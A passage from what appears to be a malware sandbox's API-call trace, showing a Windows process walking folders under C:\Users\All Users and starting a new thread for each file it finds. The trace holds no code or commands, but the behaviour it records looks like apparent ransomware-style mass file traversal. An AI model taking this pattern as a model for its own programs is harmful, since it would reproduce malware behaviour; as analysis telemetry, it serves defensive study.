Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.675] wcscat (in: _Dest=0x12e08998, _Source="MS.SETLANG.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn" [0051.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe28 [0051.676] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5269fec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn", cAlternateFileName="MSVISI~1.HXN")) returned 1 [0051.676] wcscmp (_String1="MS.VISIO.14.1033.hxn", _String2=".") returned 1 [0051.676] wcscmp (_String1="MS.VISIO.14.1033.hxn", _String2="..") returned 1 [0051.676] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4370d0 [0051.676] wcscpy (in: _Dest=0x4370d0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.677] wcscat (in: _Dest=0x4370d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.677] wcscat (in: _Dest=0x4370d0, _Source="MS.VISIO.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn" [0051.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4370d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe2c [0051.678] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn", cAlternateFileName="MSVISI~3.HXN")) returned 1 [0051.678] wcscmp (_String1="MS.VISIO.DEV.14.1033.hxn", _String2=".") returned 1 [0051.678] wcscmp (_String1="MS.VISIO.DEV.14.1033.hxn", _String2="..") returned 1 [0051.678] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08a18 [0051.678] wcscpy (in: _Dest=0x12e08a18, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.678] wcscat (in: _Dest=0x12e08a18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.678] wcscat (in: _Dest=0x12e08a18, _Source="MS.VISIO.DEV.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" [0051.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe30 [0051.679] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn", cAlternateFileName="MSVISI~4.HXN")) returned 1 [0051.679] wcscmp (_String1="MS.VISIO.SHAPESHEET.14.1033.hxn", _String2=".") returned 1 [0051.679] wcscmp (_String1="MS.VISIO.SHAPESHEET.14.1033.hxn", _String2="..") returned 1 [0051.679] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417fb0 [0051.679] wcscpy (in: _Dest=0x417fb0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.679] wcscat (in: _Dest=0x417fb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.679] wcscat (in: _Dest=0x417fb0, _Source="MS.VISIO.SHAPESHEET.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" [0051.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe34 [0051.681] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn", cAlternateFileName="MSE1C9~1.HXN")) returned 1 [0051.681] wcscmp (_String1="MS.VISIO_PRM.14.1033.hxn", _String2=".") returned 1 [0051.681] wcscmp (_String1="MS.VISIO_PRM.14.1033.hxn", _String2="..") returned 1 [0051.681] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08a98 [0051.681] wcscpy (in: _Dest=0x12e08a98, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.681] wcscat (in: _Dest=0x12e08a98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.681] wcscat (in: _Dest=0x12e08a98, _Source="MS.VISIO_PRM.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" [0051.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe38 [0051.834] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn", cAlternateFileName="MSVISI~2.HXN")) returned 1 [0051.834] wcscmp (_String1="MS.VISIO_STD.14.1033.hxn", _String2=".") returned 1 [0051.834] wcscmp (_String1="MS.VISIO_STD.14.1033.hxn", _String2="..") returned 1 [0051.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45dfb8 [0051.834] wcscpy (in: _Dest=0x45dfb8, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.834] wcscat (in: _Dest=0x45dfb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.834] wcscat (in: _Dest=0x45dfb8, _Source="MS.VISIO_STD.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" [0055.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45dfb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0055.582] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn", cAlternateFileName="MSWINP~1.HXN")) returned 1 [0055.582] wcscmp (_String1="MS.WINPROJ.14.1033.hxn", _String2=".") returned 1 [0055.582] wcscmp (_String1="MS.WINPROJ.14.1033.hxn", _String2="..") returned 1 [0055.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400718 [0055.582] wcscpy (in: _Dest=0x400718, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0055.582] wcscat (in: _Dest=0x400718, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0055.582] wcscat (in: _Dest=0x400718, _Source="MS.WINPROJ.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" [0055.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd0 [0055.584] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn", cAlternateFileName="MSWINP~2.HXN")) returned 1 [0055.584] wcscmp (_String1="MS.WINPROJ.DEV.14.1033.hxn", _String2=".") returned 1 [0055.584] wcscmp (_String1="MS.WINPROJ.DEV.14.1033.hxn", _String2="..") returned 1 [0055.584] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447fe0 [0055.584] wcscpy (in: _Dest=0x447fe0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0055.584] wcscat (in: _Dest=0x447fe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0055.584] wcscat (in: _Dest=0x447fe0, _Source="MS.WINPROJ.DEV.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" [0055.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdcc [0055.589] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1 [0055.589] wcscmp (_String1="MS.WINWORD.14.1033.hxn", _String2=".") returned 1 [0055.590] wcscmp (_String1="MS.WINWORD.14.1033.hxn", _String2="..") returned 1 [0055.590] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x3fff18 [0055.590] wcscpy (in: _Dest=0x3fff18, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0055.590] wcscat (in: _Dest=0x3fff18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0055.590] wcscat (in: _Dest=0x3fff18, _Source="MS.WINWORD.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" [0055.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x3fff18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc8 [0055.591] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn", cAlternateFileName="MSWINW~2.HXN")) returned 1 [0056.993] wcscmp (_String1="MS.WINWORD.DEV.14.1033.hxn", _String2=".") returned 1 [0056.993] wcscmp (_String1="MS.WINWORD.DEV.14.1033.hxn", _String2="..") returned 1 [0056.993] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446ff0 [0056.993] wcscpy (in: _Dest=0x446ff0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0056.993] wcscat (in: _Dest=0x446ff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0056.993] wcscat (in: _Dest=0x446ff0, _Source="MS.WINWORD.DEV.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" [0059.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc94 [0059.822] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1 [0059.822] wcscmp (_String1="nslist.hxl", _String2=".") returned 1 [0059.822] wcscmp (_String1="nslist.hxl", _String2="..") returned 1 [0059.822] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x445e48 [0059.822] wcscpy (in: _Dest=0x445e48, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0059.822] wcscat (in: _Dest=0x445e48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0059.822] wcscat (in: _Dest=0x445e48, _Source="nslist.hxl" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl") returned="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl" [0059.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x445e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4 [0059.823] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0 [0064.244] FindClose (in: hFindFile=0x440320 | out: hFindFile=0x440320) returned 1 [0064.244] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f2c8) returned 1 [0064.244] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444e10) returned 1 [0064.244] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444af0) returned 1 Thread: id = 692 os_tid = 0x91c [0051.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x4404a0 [0051.035] wcscpy (in: _Dest=0x4404a0, _Source="C:\\Users\\All Users\\Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0051.035] wcscat (in: _Dest=0x4404a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\") returned="C:\\Users\\All Users\\Oracle\\" [0051.035] wcscat (in: _Dest=0x4404a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\*") returned="C:\\Users\\All Users\\Oracle\\*" [0051.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e6c0 [0051.035] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440460 [0051.035] wcscmp (_String1=".", _String2=".") returned 0 [0051.035] FindNextFileW (in: hFindFile=0x440460, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.036] wcscmp (_String1="..", _String2=".") returned 1 [0051.036] wcscmp (_String1="..", _String2="..") returned 0 [0051.036] FindNextFileW (in: hFindFile=0x440460, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0051.036] FindClose (in: hFindFile=0x440460 | out: hFindFile=0x440460) returned 1 [0051.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e6c0) returned 1 [0051.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4404a0) returned 1 [0051.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409da8) returned 1 Thread: id = 693 os_tid = 0xb90 [0051.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x444e60 [0051.037] wcscpy (in: _Dest=0x444e60, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0051.037] wcscat (in: _Dest=0x444e60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0051.037] wcscat (in: _Dest=0x444e60, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\*") returned="C:\\Users\\All Users\\Package Cache\\*" [0051.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e6c0 [0051.037] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4400e0 [0051.198] wcscmp (_String1=".", _String2=".") returned 0 [0051.198] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.198] wcscmp (_String1="..", _String2=".") returned 1 [0051.198] wcscmp (_String1="..", _String2="..") returned 0 [0051.198] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1 [0051.198] wcscmp (_String1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", _String2=".") returned 1 [0051.198] wcscmp (_String1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", _String2="..") returned 1 [0051.198] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x4ee018 [0051.198] wcscpy (in: _Dest=0x4ee018, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0051.198] wcscat (in: _Dest=0x4ee018, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0051.198] wcscat (in: _Dest=0x4ee018, _Source="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0066.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4ee018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0066.024] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0066.024] wcscmp (_String1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", _String2=".") returned 1 [0066.024] wcscmp (_String1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", _String2="..") returned 1 [0066.024] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x5ec6308 [0066.024] wcscpy (in: _Dest=0x5ec6308, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.024] wcscat (in: _Dest=0x5ec6308, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.024] wcscat (in: _Dest=0x5ec6308, _Source="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0066.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec6308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0066.026] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, 